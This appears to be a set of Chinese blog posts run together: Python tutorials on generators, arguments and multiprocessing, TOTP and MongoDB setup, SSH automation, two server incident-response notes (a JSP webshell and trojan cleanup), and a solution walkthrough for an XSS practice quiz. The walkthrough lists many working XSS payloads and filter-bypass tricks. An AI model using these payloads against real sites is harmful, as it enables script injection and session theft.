通过列表生成式,我们可以直接创建一个列表。但是,受到内存限制,列表容量肯定是有限的。而且,创建一个包含100万个元素的列表,不仅占用很大的存储空间,如果我们仅仅需要访问前面几个元素,那后面绝大多数元素占用的空间都白白浪费了。

所以,如果列表元素可以按照某种算法推算出来,那我们是否可以在循环的过程中不断推算出后续的元素呢?这样就不必创建完整的list,从而节省大量的空间。在Python中,这种一边循环一边计算的机制,称为生成器(Generator)。

要创建一个generator,有很多种方法。第一种方法很简单,只要把一个列表生成式的[]改成(),就创建了一个generator:

>>> L = [x * x for x in range(10)]
>>> L
[0, 1, 4, 9, 16, 25, 36, 49, 64, 81]
>>> g = (x * x for x in range(10))
>>> g
<generator object <genexpr> at 0x104feab40>

创建L和g的区别仅在于最外层的[]和(),L是一个list,而g是一个generator。

我们可以直接打印出list的每一个元素,但我们怎么打印出generator的每一个元素呢?

如果要一个一个打印出来,可以通过generator的next()方法:

>>> g.next()
0
>>> g.next()
1
>>> g.next()
4
>>> g.next()
9
>>> g.next()
16
>>> g.next()
25
>>> g.next()
36
>>> g.next()
49
>>> g.next()
64
>>> g.next()
81
>>> g.next()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
StopIteration

我们讲过,generator保存的是算法,每次调用next(),就计算出下一个元素的值,直到计算到最后一个元素,没有更多的元素时,抛出StopIteration的错误。

当然,上面这种不断调用next()方法实在是太变态了,正确的方法是使用for循环,因为generator也是可迭代对象:

>>> g = (x * x for x in range(10))
>>> for n in g:
... print n
...
0
1
4
9
16
25
36
49
64
81

所以,我们创建了一个generator后,基本上永远不会调用next()方法,而是通过for循环来迭代它。

generator非常强大。如果推算的算法比较复杂,用类似列表生成式的for循环无法实现的时候,还可以用函数来实现。

比如,著名的斐波拉契数列(Fibonacci),除第一个和第二个数外,任意一个数都可由前两个数相加得到:

1, 1, 2, 3, 5, 8, 13, 21, 34, …

斐波拉契数列用列表生成式写不出来,但是,用函数把它打印出来却很容易:

def fib(max):
    n, a, b = 0, 0, 1
    while n < max:
        print b
        a, b = b, a + b
        n = n + 1

上面的函数可以输出斐波那契数列的前N个数:

>>> fib(6)
1
1
2
3
5
8

仔细观察,可以看出,fib函数实际上是定义了斐波拉契数列的推算规则,可以从第一个元素开始,推算出后续任意的元素,这种逻辑其实非常类似generator。

也就是说,上面的函数和generator仅一步之遥。要把fib函数变成generator,只需要把print b改为yield b就可以了:

def fib(max):
    n, a, b = 0, 0, 1
    while n < max:
        yield b
        a, b = b, a + b
        n = n + 1

这就是定义generator的另一种方法。如果一个函数定义中包含yield关键字,那么这个函数就不再是一个普通函数,而是一个generator:

>>> fib(6)
<generator object fib at 0x104feaaa0>

这里,最难理解的就是generator和函数的执行流程不一样。函数是顺序执行,遇到return语句或者最后一行函数语句就返回。而变成generator的函数,在每次调用next()的时候执行,遇到yield语句返回,再次执行时从上次返回的yield语句处继续执行。

举个简单的例子,定义一个generator,依次返回数字1,3,5:

>>> def odd():
... print 'step 1'
... yield 1
... print 'step 2'
... yield 3
... print 'step 3'
... yield 5
...
>>> o = odd()
>>> o.next()
step 1
1
>>> o.next()
step 2
3
>>> o.next()
step 3
5
>>> o.next()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
StopIteration

可以看到,odd不是普通函数,而是generator,在执行过程中,遇到yield就中断,下次又继续执行。执行3次yield后,已经没有yield可以执行了,所以,第4次调用next()就报错。

同样的,把函数改成generator后,我们基本上从来不会用next()来调用它,而是直接使用for循环来迭代:

>>> for n in fib(6):
... print n
...
1
1
2
3
5
8

xrange 用法与 range 完全相同,所不同的是生成的不是一个list对象,而是一个生成器。所以xrange做循环的性能比range好,尤其是返回很大的时候

列表生成式即List Comprehensions,是Python内置的非常简单却强大的可以用来创建list的生成式。

举个例子,要生成list [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]可以用range(1, 11):

>>> range(1, 11)
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]

但如果要生成[1×1, 2×2, 3×3, …, 10×10]怎么做?方法一是循环:

>>> L = []
>>> for x in range(1, 11):
... L.append(x * x)
...
>>> L
[1, 4, 9, 16, 25, 36, 49, 64, 81, 100]

但是循环太繁琐,而列表生成式则可以用一行语句代替循环生成上面的list:

>>> [x * x for x in range(1, 11)]
[1, 4, 9, 16, 25, 36, 49, 64, 81, 100]

写列表生成式时,把要生成的元素x * x放到前面,后面跟for循环,就可以把list创建出来,十分有用,多写几次,很快就可以熟悉这种语法。

for循环后面还可以加上if判断,这样我们就可以筛选出仅偶数的平方:

>>> [x * x for x in range(1, 11) if x % 2 == 0]
[4, 16, 36, 64, 100]

还可以使用两层循环,可以生成全排列:

>>> [m + n for m in 'ABC' for n in 'XYZ']
['AX', 'AY', 'AZ', 'BX', 'BY', 'BZ', 'CX', 'CY', 'CZ']

三层和三层以上的循环就很少用到了。

运用列表生成式,可以写出非常简洁的代码。例如,列出当前目录下的所有文件和目录名,可以通过一行代码实现:

>>> import os # 导入os模块,模块的概念后面讲到
>>> [d for d in os.listdir('.')] # os.listdir可以列出文件和目录
['.emacs.d', '.ssh', '.Trash', 'Adlm', 'Applications', 'Desktop', 'Documents', 'Downloads', 'Library', 'Movies', 'Music', 'Pictures', 'Public', 'VirtualBox VMs', 'Workspace', 'XCode']

for循环其实可以同时使用两个甚至多个变量,比如dict的iteritems()可以同时迭代key和value:

>>> d = {'x': 'A', 'y': 'B', 'z': 'C' }
>>> for k, v in d.iteritems():
... print k, '=', v
... 
y = B
x = A
z = C

因此,列表生成式也可以使用两个变量来生成list:

>>> d = {'x': 'A', 'y': 'B', 'z': 'C' }
>>> [k + '=' + v for k, v in d.iteritems()]
['y=B', 'x=A', 'z=C']

最后把一个list中所有的字符串变成小写:

>>> L = ['Hello', 'World', 'IBM', 'Apple']
>>> [s.lower() for s in L]
['hello', 'world', 'ibm', 'apple']

1、可变参数


可变参数就是传入的参数个数是可变的,可以是1个、2个到任意个,还可以是0个。
比如现在要实现给定一串数字a,b,c,计算出平方和。
要定义出这个函数,我们必须确定输入的参数。由于参数个数不确定,我们首先想到可以把a,b,c……作为一个list或tuple传进来,这样,函数可以定义如下:

def calc(numbers):
    sum = 0
    for n in numbers:
        sum = sum + n * n
    return sum

但是调用的时候,需要先组装出一个list或tuple:

>>> calc([1, 2, 3])
14
>>> calc((1, 3, 5, 7))
84

如果利用可变参数,调用函数的方式可以简化成这样:

>>> calc(1, 2, 3)
14
>>> calc(1, 3, 5, 7)
84

所以,我们把函数的参数改为可变参数:

def calc(*numbers):
    sum = 0
    for n in numbers:
        sum = sum + n * n
    return sum

如果已经有一个list或者tuple,把list或tuple的元素变成可变参数传进去。

>>> nums = [1, 2, 3]
>>> calc(*nums)
14

2、关键字参数


可变参数允许你传入0个或任意个参数,这些可变参数在函数调用时自动组装为一个tuple,而关键字参数允许你传入0个或任意个含参数名的参数,这些关键字参数在函数内部自动组装为一个dict。

def person(name, age, **kw):
    print('name:', name, 'age:', age, 'other:', kw)

函数person除了必选参数name和age外,还接受关键字参数kw。在调用该函数时,可以只传入必选参数:

>>> person('Michael', 30)
name: Michael age: 30 other: {}

也可以传入任意个数的关键字参数:

>>> person('Bob', 35, city='Beijing')
name: Bob age: 35 other: {'city': 'Beijing'}
>>> person('Adam', 45, gender='M', job='Engineer')
name: Adam age: 45 other: {'gender': 'M', 'job': 'Engineer'}

关键字参数有什么用?它可以扩展函数的功能。比如,在person函数里,我们保证能接收到name和age这两个参数,但是,如果调用者愿意提供更多的参数,我们也能收到。试想你正在做一个用户注册的功能,除了用户名和年龄是必填项外,其他都是可选项,利用关键字参数来定义这个函数就能满足注册的需求。

和可变参数类似,也可以先组装出一个dict,然后,把该dict转换为关键字参数传进去:

>>> extra = {'city': 'Beijing', 'job': 'Engineer'}
>>> person('Jack', 24, **extra)
name: Jack age: 24 other: {'city': 'Beijing', 'job': 'Engineer'}

3、命名关键字参数


命令关键字参数在Python3中支持,如果在Python2.7上运行会因为*号报错。
如果要限制关键字参数的名字,就可以用命名关键字参数,例如,只接收city和job作为关键字参数。这种方式定义的函数如下:

def person(name, age, *, city, job):
    print(name, age, city, job)

和关键字参数**kw不同,命名关键字参数需要一个特殊分隔符*,后面的参数被视为命名关键字参数。

调用方式如下:

def person(name, age, *, city, job):
    print(name, age, city, job)

命名关键字参数必须传入参数名,这和位置参数不同。如果没有传入参数名,调用将报错:

>>> person('Jack', 24, 'Beijing', 'Engineer')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: person() takes 2 positional arguments but 4 were given

由于调用时缺少参数名city和job,Python解释器把这4个参数均视为位置参数,但person()函数仅接受2个位置参数。
命名关键字参数可以有缺省值,从而简化调用:

def person(name, age, *, city='Beijing', job):
	print(name, age, city, job)

由于命名关键字参数city具有默认值,调用时,可不传入city参数:

>>> person('Jack', 24, job='Engineer')
Jack 24 Beijing Engineer

4、参数组合


在Python中定义函数,可以用必选参数、默认参数、可变参数、关键字参数和命名关键字参数,这5种参数都可以组合使用,除了可变参数无法和命名关键字参数混合。

但是请注意,参数定义的顺序必须是:必选参数、默认参数、可变参数/命名关键字参数和关键字参数。

比如定义一个函数,包含上述若干种参数:

def f1(a, b, c=0, *args, **kw):
    print('a =', a, 'b =', b, 'c =', c, 'args =', args, 'kw =', kw)

def f2(a, b, c=0, *, d, **kw):
    print('a =', a, 'b =', b, 'c =', c, 'd =', d, 'kw =', kw)

在函数调用的时候,Python解释器自动按照参数位置和参数名把对应的参数传进去。

>>> f1(1, 2)
a = 1 b = 2 c = 0 args = () kw = {}
>>> f1(1, 2, c=3)
a = 1 b = 2 c = 3 args = () kw = {}
>>> f1(1, 2, 3, 'a', 'b')
a = 1 b = 2 c = 3 args = ('a', 'b') kw = {}
>>> f1(1, 2, 3, 'a', 'b', x=99)
a = 1 b = 2 c = 3 args = ('a', 'b') kw = {'x': 99}
>>> f2(1, 2, d=99, ext=None)
a = 1 b = 2 c = 0 d = 99 kw = {'ext': None}

最神奇的是通过一个tuple和dict,你也可以调用上述函数:

>>> args = (1, 2, 3, 4)
>>> kw = {'d': 99, 'x': '#'}
>>> f1(*args, **kw)
a = 1 b = 2 c = 3 args = () kw = {'d': 99, 'x': '#'}
>>> args = (1, 2, 3)
>>> kw = {'d': 88, 'x': '#'}
>>> f2(*args, **kw)
a = 1 b = 2 c = 3 d = 88 kw = {'x': '#'}

所以,对于任意函数,都可以通过类似func(*args, **kw)的形式调用它,无论它的参数是如何定义的。

5、小结


Python的函数具有非常灵活的参数形态,既可以实现简单的调用,又可以传入非常复杂的参数。
默认参数一定要用不可变对象,如果是可变对象,程序运行时会有逻辑错误!
要注意定义可变参数和关键字参数的语法:
*args是可变参数,args接收的是一个tuple;
**kw是关键字参数,kw接收的是一个dict。
以及调用函数时如何传入可变参数和关键字参数的语法:
可变参数既可以直接传入:func(1, 2, 3),又可以先组装list或tuple,再通过*args传入:func(*(1, 2, 3));
关键字参数既可以直接传入:func(a=1, b=2),又可以先组装dict,再通过**kw传入:func(**{‘a’: 1, ‘b’: 2})。
使用*args和**kw是Python的习惯写法,当然也可以用其他参数名,但最好使用习惯用法。
命名的关键字参数是为了限制调用者可以传入的参数名,同时可以提供默认值。
定义命名的关键字参数不要忘了写分隔符*,否则定义的将是位置参数。

参考文章:
http://www.jianshu.com/p/98f7e34845b5

fork 方式创建子进程
python中的多线程其实并不是真正的多线程,如果想要充分地使用多核CPU的资源,在python中大部分情况需要使用多进程。
Unix/Linux操作系统提供了一个fork()系统调用,它非常特殊。普通的函数调用,调用一次,返回一次,但是fork()调用一次,返回两次,因为操作系统自动把当前进程(称为父进程)复制了一份(称为子进程),然后,分别在父进程和子进程内返回。
子进程永远返回0,而父进程返回子进程的ID。这样做的理由是,一个父进程可以fork出很多子进程,所以,父进程要记下每个子进程的ID,而子进程只需要调用getppid()就可以拿到父进程的ID。
Python的os模块封装了常见的系统调用,其中就包括fork,可以在Python程序中轻松创建子进程:

import os
print "Process %s start ..." %(os.getpid())
pid = os.fork()
if pid == 0:
    print "This is child process and my pid is %d, my father process is %d" %(os.getpid(), os.getppid())
else:
    print "This is Fater process, And Its child pid is %d" %(pid)

来看一下执行结果:

[root@server120 tmp]# python thread.py 
Process 3279 start ...
This is Fater process, And Its child pid is 3280
This is child process and my pid is 3280, my father process is 3279

从结果可以看到, 从pid = os.fork() 开始, 下面的部分代码运行了两次, 第一次是父进程运行, 第二次是子进程运行, 且子进程的fork的结果总是0, 所以这个也可以用来作为区分父进程或是子进程标志。

print "Process %s start ..." %(os.getpid())
pid = os.fork()
source = 10
if pid == 0:
    print "This is child process and my pid is %d, my father process is %d" %(os.getpid(), os.getppid())
    source = source - 6
    print "child process source value is "+str(source)
else:
    print "This is Fater process, And Its child pid is %d" %(pid)
    source = source - 1
    print "father process source value is "+str(source)
print "source value is "+str(source)

运行结果如下:

[root@server120 tmp]# python thread.py 
Process 3294 start ...
This is Fater process, And Its child pid is 3295
father process source value is 9
source value is 9
This is child process and my pid is 3295, my father process is 3294
child process source value is 4
source value is 4

很明显, 初始值为10的source 在父进程中值 减少了 1, 为9, 而子进程明显source的初始值 是10, 也就是说多进程之间并没有什么相互影响。

multiprocessing 方式创建子进程
fork 方式是仅在linux 下才有的接口, 在windows下并没有, 那么在windows下如何实现多进程呢, 这就用到了multiprocessing
multiprocessing 模块的Process 对象表示的是一个进程对象, 可以创建子进程并执行制定的函数
运行下面的代码:

from multiprocessing import Process
import os

def pro_do(name, func):
    print "This is child process %d from parent process %d, and name is  %s which is used for %s" %(os.getpid(), os.getppid(), name, func)

if __name__ == "__main__":
    print "Parent process id %d" %(os.getpid())
    #process 对象指定子进程将要执行的操作方法(pro_do), 以及该函数的对象列表args(必须是tuple格式, 且元素与pro_do的参数一一对应)
    pro = Process(target=pro_do, args=("test", "dev"))
    print "start child process"
    #启动子进程
    pro.start()
    #是否阻塞方式执行, 如果有, 则阻塞方式, 否则非阻塞
    pro.join() #if has this, it's synchronous operation or asynchronous operation
    print "Process end"

执行结果:

[root@server120 tmp]# python thread.py 
Parent process id 3308
start child process
This is child process 3309 from parent process 3308, and name is test which is used for dev
Process end

Pool 进程池
如果要启动大量的子进程,可以用进程池的方式批量创建子进程:

from multiprocessing import Pool
import os, time
def pro_do(process_num):
    print "child process id is %d" %(os.getpid())
    time.sleep(6 - process_num)
    print "this is process %d" %(process_num)
if __name__ == "__main__":
    print "Current process is %d" %(os.getpid())
    p = Pool()
    for i in range(5):
        p.apply_async(pro_do, (i,))  #增加新的进程
    p.close() # 禁止在增加新的进程
    p.join()
    print "pool process done"

执行结果如下:

Current process is 92212
child process id is 92213
child process id is 92214
this is process 1
child process id is 92214
this is process 0
child process id is 92213
this is process 2
child process id is 92214
this is process 3
this is process 4
pool process done

可以看到
child process id is 92213
child process id is 92214
是先输出的,后面的依次在等待了sleep的时间后输出 , 之所以立即输出了上面两个是因为Pool 进程池默认是按照cpu的数量开启子进程的, 我是在虚拟机中运行, 只分配了两核, 所以先立即启动两个子进程, 剩下的进程要等到前面的进程执行完成后才能启动。
不过也可以在p=Poo() 中使用Pool(5)来指定启动的子进程数量, 这样输出就是下面的了:

[root@vincent tmp]# python xx.py 
Current process is 92259
child process id is 92261
child process id is 92262
child process id is 92263
child process id is 92260
child process id is 92264
this is process 4
this is process 3
this is process 2
this is process 1
this is process 0
pool process done

进程间的通信
1)Queue
运行下面的程序:

from multiprocessing import Process, Queue
import os, time

def write_queue(q):
    for name in ["Yi_Zhi_Yu", "Tony" ,"San"]:
        print "put name %s to queue" %(name)
        q.put(name)
        time.sleep(2)
    print "write data finished"

def read_queue(q):
    print "begin to read data"
    while True:
        name = q.get()
        print "get name %s from queue" %(name)

if __name__ == "__main__":
    q = Queue()
    pw = Process(target=write_queue, args=(q,))
    pr = Process(target=read_queue,args=(q,))

    pw.start()
    pr.start()
    pw.join() #这个表示是否阻塞方式启动进程, 如果要立即读取的话, 两个进程的启动就应该是非阻塞式的, 所以pw在start后不能立即使用pw.join(), 要等pr start后方可
    pr.terminate() #服务进程,强制停止

运行结果如下:

[root@vincent tmp]# python xx.py 
begin to read data
put name Yi_Zhi_Yu to queue
get name Yi_Zhi_Yu from queue
put name Tony to queue
get name Tony from queue
put name San to queue
get name San from queue
write data finished

2)Pipe管道
运行下面的程序:

#!/usr/bin/env python
#encoding=utf-8

from multiprocessing import Process,Pipe
import os,time,sys

def send_pipe(p):
    names = ["Yi_Zhi_Yu", "Tony", "San"]
    for name in names:
        print "put name %s to Pipe" %(name)
        p.send(name)
        time.sleep(1)
def recv_pipe(p):
    print "Try to read data in pipe"
    while True:
            name = p.recv()
            print "get name %s from pipe" %(name)

if __name__ == "__main__":
   #pipe, one for send, one for read
   ps_pipe, pr_pipe = Pipe()
   #process
   ps = Process(target=send_pipe, args=(ps_pipe,))
   pr = Process(target=recv_pipe, args=(pr_pipe,))
   pr.start()
   ps.start()
   ps.join()
   pr.terminate()

结果如下:

[root@vincent tmp]# python xx.py 
put name Yi_Zhi_Yu to Pipe
Try to read data in pipe
get name Yi_Zhi_Yu from pipe
put name Tony to Pipe
get name Tony from pipe
put name San to Pipe
get name San from pipe

安全上在系统后台或者一些重要系统都是要求双因素认证,以前都是通过短信验证码,然后看到齐治堡垒机是通过OTP登录,就了解了下。
OTP全称叫One-time Password,也称动态口令,是根据专门的算法每隔60秒生成一个与时间相关的、不可预测的随机数字组合,每个口令只能使用一次,每天可以产生43200个密码。
账户需要管理员后台添加,首次登录需要扫描二维码获取密钥。以后登录需要输入正确的账号密码,然后输入正确的Token才能登录成功。
Python中已经有现成包,实现了OTP。例如onetimepass支持HOTP和TOTP
pip install onetimepass
TOTP代码如下:

import os
import base64
import onetimepass

def get_secret(period,length):#生成二维码内容
secret = base64.b32encode(os.urandom(10)).decode('utf-8')
return "otpauth://totp/oa?secret=%s&period=%s&digits=%s" %(secret, period, length)

def verify_totp(my_token,my_secret,token_length,interval_length):#验证Token
print onetimepass.valid_totp(token=my_token, secret=my_secret, token_length=token_length, interval_length=interval_length)

if __name__ == '__main__':
print get_secret('60','6')
verify_totp('109753','MIHFQWBE3KHPVXTG',6,60)

 

生成二维码,并扫描:

输入正确的Token,返回True。

参考文章:
https://github.com/tadeck/onetimepass/
https://blog.miguelgrinberg.com/post/two-factor-authentication-with-flask

0x01 排查过程


11:10看到主机监控告警,告警内容为

cd "/usr/local/web/cdksw/general-tomcat-6.0.18/webapps/background/background/upload/";ver;echo [S];pwd;echo [E]

看内容就是菜刀马执行,看目录发现是upload可以猜测是文件上传的问题。受影响的是两台负载的机器,其中一台报警了。
查看报警定位到被黑的JAVA项目进程为5916。
搜索上传路径下的JSP文件,找到了三个,很明显的JSP马。

-rw-r--r-- 1 admin admin 84496 Mar 19 2015 1394517320862.jsp
-rw-r--r-- 1 admin admin 6285 Mar 19 2015 1394619430391.jsp
-rw-rw-r-- 1 admin admin 139012 Mar 19 2015 1419589329217.jsp

不过这里的时间是2015年的。可能是被修改了时间,也可能15年的时候就被搞了。
这个项目基本没人访问,运维也没有切割Nginx Access_log文件,所以我查了下文件的访问记录。

219.150.180.18 - - [11/Nov/2015:11:49:14 +0800] "HEAD /background/upload/1394619430391.jsp HTTP/1.1" 404 162 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36" "-"

发现15年的时候有人访问过这个文件,不过返回状态码是404。
然后看到今天的日志

61.178.80.107 - - [16/Jan/2017:11:07:44 +0800] "POST /background/upload/1394619430391.jsp HTTP/1.1" 200 420 
59.151.109.39 - - [16/Jan/2017:11:10:00 +0800] "POST /background/upload/1394619430391.jsp HTTP/1.1" 200 197

攻击者11:07访问的马,然后11:10告警。
下午看日志发现攻击者仍然在尝试上传。

0x02 处理措施


1)另一台机器上同样是有这三个马,删除JSP马。

2)Nginx限制upload目录下JSP访问。

3)与开发确认后,得知该后台已经不使用了,下线处理。

0x01 排查过程


异常进程发现:
/usr/bin/.sshd
[kworker95]

在开机启动中发现:

/tmp下的异常文件

异常的网络连接

使用lsof的时候发现返回内容不正常,查看下lsof

mtime为10:46,并且大小不正常,很明显命令被替换了。
看下/usr/bin/下

/use/sbin下

然后检查了cron、rc3等没有发现异常。

 

0x02 处理过程


[root@localhost tmp]# chmod 000 conf.n moni.lod gates.lod \[kworker95\] /usr/bin/.sshd
[root@localhost tmp]# chattr +i /tmp /usr/bin /usr/sbin

删除rc.local中的异常内容,并重启服务器。

[root@localhost tmp]# chattr -i /tmp /usr/bin /usr/sbin
[root@localhost tmp]# rm -f conf.n moni.lod gates.lod \[kworker95\] /usr/bin/.sshd

然后从其他机器拷贝lsof和ss替换。

地址:http://xss-quiz.int21h.jp/
1)

"</b><img/src=x onerror=alert(document.domain)><b>"

2)

123456" onfocus=alert(document.domain) autofocus xx="

3)
参数p1转义了<、>、”,修改参数p2

Japan</b><script>alert(document.domain)</script><b>

4)

修改参数p3

hackme"><script>alert(document.domain)</script>//

5)

前端做了长度限制,截包修改p1

"><script>alert(document.domain)</script>//

6)

转义了<、> 没有转义”

123456" onfocus=alert(document.domain) autofocus xx="

7)转义了<、>、”
刷入123456发现value值没有双引号包裹。源码如下:
<input type=”text” name=”p1″ size=”50″ value=123456>
可以通过添加一个新的元素

a onmouseover=alert(document.domain)

输出的源码如下:

<input type="text" name="p1" size="50" value=a onmouseover=alert(document.domain)>

8)查看输出在<a href=”{injecthere}”>中

javascript:alert(document.domain)

9)首先注意到输出的源码中有charset项,很明显是通过编码格式绕过过滤。
CSDN上有UTF-7的编解码工具” onmousemove=”alert(document.domain)

10)
输入123456″><script>alert(document.domain)</script>
输出如下:
<input type=”text” name=”p1″ size=”50″ value=”123456″><script>alert(document.)</script>”>
可以看到是过滤了domain

a)
然后输入123456"><script>alert(document.domdomainain)</script>即可
b)使用String.fromCharCode
"><script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 109, 97, 105, 110, 41))</script>
c)javascript 使用btoa和atob来进行Base64转码和解码
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

11)
测试123456″><script>alert(1)</script>
发现script被替换为xscript
测试123456″><img src=x onerror=alert(1)>
发现JS事件被替换为onxxx
测试123456″><iframe src=javascript:alert(1)>
发现javascript被替换为javaxscript
这里想到了使用data协议

"><iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+'></iframe>

12)过滤的正则”s/[\x00-\x20\<\>\”\’]//g;”
单引号 双引号 尖括号都过滤了

`` onmouseover=alert(document.domain)

这个必须是在IE下才能触发。

13)这个是CSS中的XSS,输出环境是在style中

xss:expression(alert(document.domain))
background-image:url(javascript:alert(document.domain))

14)s/(url|script|eval|expression)/xxx/ig;
expression的绕过方式很多

<div style="xss:expre/**/ssion(alert(1))">样式表中的/**/会被忽略
<div style="xss:expre\ssion(alert(1))">样式表中的\
<div style="xss:\65xpression(alert(1))">

15)
输入<script>alert(1)</script>可以看到尖括号被转义了,因为输出环境是在JS中,所以可以使用16进制编码
\x3cscript\x3ealert(document.domain)\x3c/script\x3e
发现过滤了\,然后将\替换为\\即可。

\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

16) “s/\\x/\\\\x/ig;”
这道题只是替换了\x

\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

安装Mongodb:
进入/usr/local目录下
cd /usr/local
创建mongodb文件夹,作为安装目标文件夹
mkdir mongodb
解压缩文件,并且移动到mongodb文件夹下
tar -zxvf mongodb-linux-x86_64-2.6.7.tgz
移动解压缩后的文件夹下的所有文件到mongodb文件夹下
cd mongodb-linux-x86_64-2.6.7
mv * /usr/local/mongodb
创建data文件夹用于存放数据,创建logs文件用于存放文件
cd /usr/local/mongodb
mkdir data
touch logs

启动MongoDB:

cd bin
./mongod -dbpath=/usr/local/mongodb/data -logpath=/usr/local/mongodb/logs

后台服务启动

./mongod -dbpath=/usr/local/mongodb/data -logpath=/usr/local/mongodb/logs --fork
[root@server120 ~]# netstat -anlp | grep 27017
tcp 0 0 0.0.0.0:27017 0.0.0.0:* LISTEN 28343/./mongod

添加认证需要了解:
1 mongodb系统中,数据库是由超级用户来创建的,一个数据库可以包含多个用户,一个用户只能在一个数据库下,不同数据库中的用户可以同名!
2 当admin.system.users一个用户都没有时,即使mongod启动时添加了–auth参数,此时不进行任何认证还是可以做任何操作。
3 特定数据库比如DB1下的用户User1,不能够访问其他数据库DB2,但是可以访问本数据库下其他用户创建的数据!
4 在admin数据库创建的用户具有超级权限,可以对mongodb系统内的任何数据库的数据对象进行操作!

添加用户

> use admin;
switched to db admin
> db.addUser("root","hehe123")
WARNING: The 'addUser' shell helper is DEPRECATED. Please use 'createUser' instead
Successfully added user: { "user" : "root", "roles" : [ "root" ] }
> show collections;#查看表
system.indexes
system.users
system.version
> db.auth("root","hehe123")#验证函数,验证数据库中是否存在对应的用户
1
> db.system.users.find()
{ "_id" : "admin.root", "user" : "root", "db" : "admin", "credentials" : { "MONGODB-CR" : "7a3ed4a8879ef08f6f17e7b3e4504d8d" }, "roles" : [ { "role" : "root", "db" : "admin" } ] }

可以看到角色为root

> db.dropUser("root") #删除账户
true

在test数据库下添加账户

> use test
switched to db test
> db.addUser("test","hehe123")
WARNING: The 'addUser' shell helper is DEPRECATED. Please use 'createUser' instead
Successfully added user: { "user" : "test", "roles" : [ "dbOwner" ] }
添加只读账户
> db.addUser("test1","hehe123",true)
WARNING: The 'addUser' shell helper is DEPRECATED. Please use 'createUser' instead
Successfully added user: { "user" : "test1", "roles" : [ "read" ] }

在数据库下添加的用户,都会添加到admin的system.users表中

> use admin
switched to db admin
> show collections
system.indexes
system.users
system.version
> db.system.users.find()
{ "_id" : "test.test", "user" : "test", "db" : "test", "credentials" : { "MONGODB-CR" : "05ed2b60367891cd5600332627116c15" }, "roles" : [ { "role" : "dbOwner", "db" : "test" } ] }
{ "_id" : "test.test1", "user" : "test1", "db" : "test", "credentials" : { "MONGODB-CR" : "2275f5af17f53901c4a2f751210a0ed0" }, "roles" : [ { "role" : "read", "db" : "test" } ] }

可以看到test角色为dbOwner,test1角色为read。
新建数据库db1并添加db1_test表

> use db1
switched to db db1
> db.db1_test.insert({id:1,val:"this data is in db1 !"});
WriteResult({ "nInserted" : 1 })
> db.db1_test.insert({id:2,val:"this data is in db1 !"});
WriteResult({ "nInserted" : 1 })
> db.db1_test.insert({id:3,val:"this data is in db1 !"});
WriteResult({ "nInserted" : 1 })

后台权限启动

./mongod -dbpath=/usr/local/mongodb/data -logpath=/usr/local/mongodb/logs --fork --auth

使用test库的账户登录,可以查询test库下的表,但是无法查询db1下的表

[root@server120 bin]# ./mongo test -u test -p hehe123
MongoDB shell version: 2.6.12
connecting to: test
> db.vincent.find()
{ "_id" : ObjectId("587431ca16c019565d724664"), "id" : 1, "val" : "test" }
> show dbs #dbowner账户无法查看所有数据库
2017-01-10T09:47:40.798+0800 listDatabases failed:{
"ok" : 0,
"errmsg" : "not authorized on admin to execute command { listDatabases: 1.0 }",
"code" : 13
} at src/mongo/shell/mongo.js:47
> use db1
switched to db db1
> show collections
2017-01-10T09:27:13.832+0800 error: { "$err" : "not authorized for query on db1.system.namespaces", "code" : 13 } at src/mongo/shell/query.js:131

使用root账户登录,可以查询其他库中的表

[root@server120 bin]# ./mongo admin -u root -p hehe123
MongoDB shell version: 2.6.12
connecting to: admin
> use db1
switched to db db1
> show collections
db1_test
system.indexes
> db.db1_test.find()
{ "_id" : ObjectId("5874308c1821bd42e4df1359"), "id" : 1, "val" : "this data is in db1 !" }
{ "_id" : ObjectId("587430911821bd42e4df135a"), "id" : 2, "val" : "this data is in db1 !" }
{ "_id" : ObjectId("587430a31821bd42e4df135b"), "id" : 3, "val" : "this data is in db1 !" }

通过收集WAF日志获取到攻击IP,想调用机房出口FW封禁攻击IP,看了下python通过ssh登录juniper并封禁IP。
1)pexpect

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import pexpect

def ssh_cmd(ip, passwd, cmd):
    ssh = pexpect.spawn('ssh root@%s "%s"' % (ip, cmd))
    try:
        i = ssh.expect(['password:', 'continue connecting (yes/no)?'], timeout=5)
        if i == 0 :
            ssh.sendline(passwd)
        elif i == 1:
            ssh.sendline('yes\n')
            ssh.expect('password: ')
            ssh.sendline(passwd)
        ssh.sendline(cmd)
        r = ssh.read()
        print r
    except pexpect.EOF:
        print "EOF"
        ssh.close()
    except pexpect.TIMEOUT:
        print "TIMEOUT"
        ssh.close()

ssh_cmd('10.59.0.248','******','ls')

2)paramiko

#-*- coding: utf-8 -*-
#!/usr/bin/python 
import paramiko

def ssh_cmd(ip,username,passwd,cmd):
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(ip,22,username,passwd,timeout=5)
        for m in cmd:
            stdin, stdout, stderr = ssh.exec_command(m)
#           stdin.write("Y")   #简单交互,输入 ‘Y’ 
            out = stdout.readlines()
            #屏幕输出
            for o in out:
                print o,
        print '%s\tOK\n'%(ip)
        ssh.close()
    except :
        print '%s\tError\n'%(ip)
if __name__=='__main__':
    cmd = ['whoami','echo hello!']#你要执行的命令列表
	ssh_cmd('10.59.0.248','******',cmd)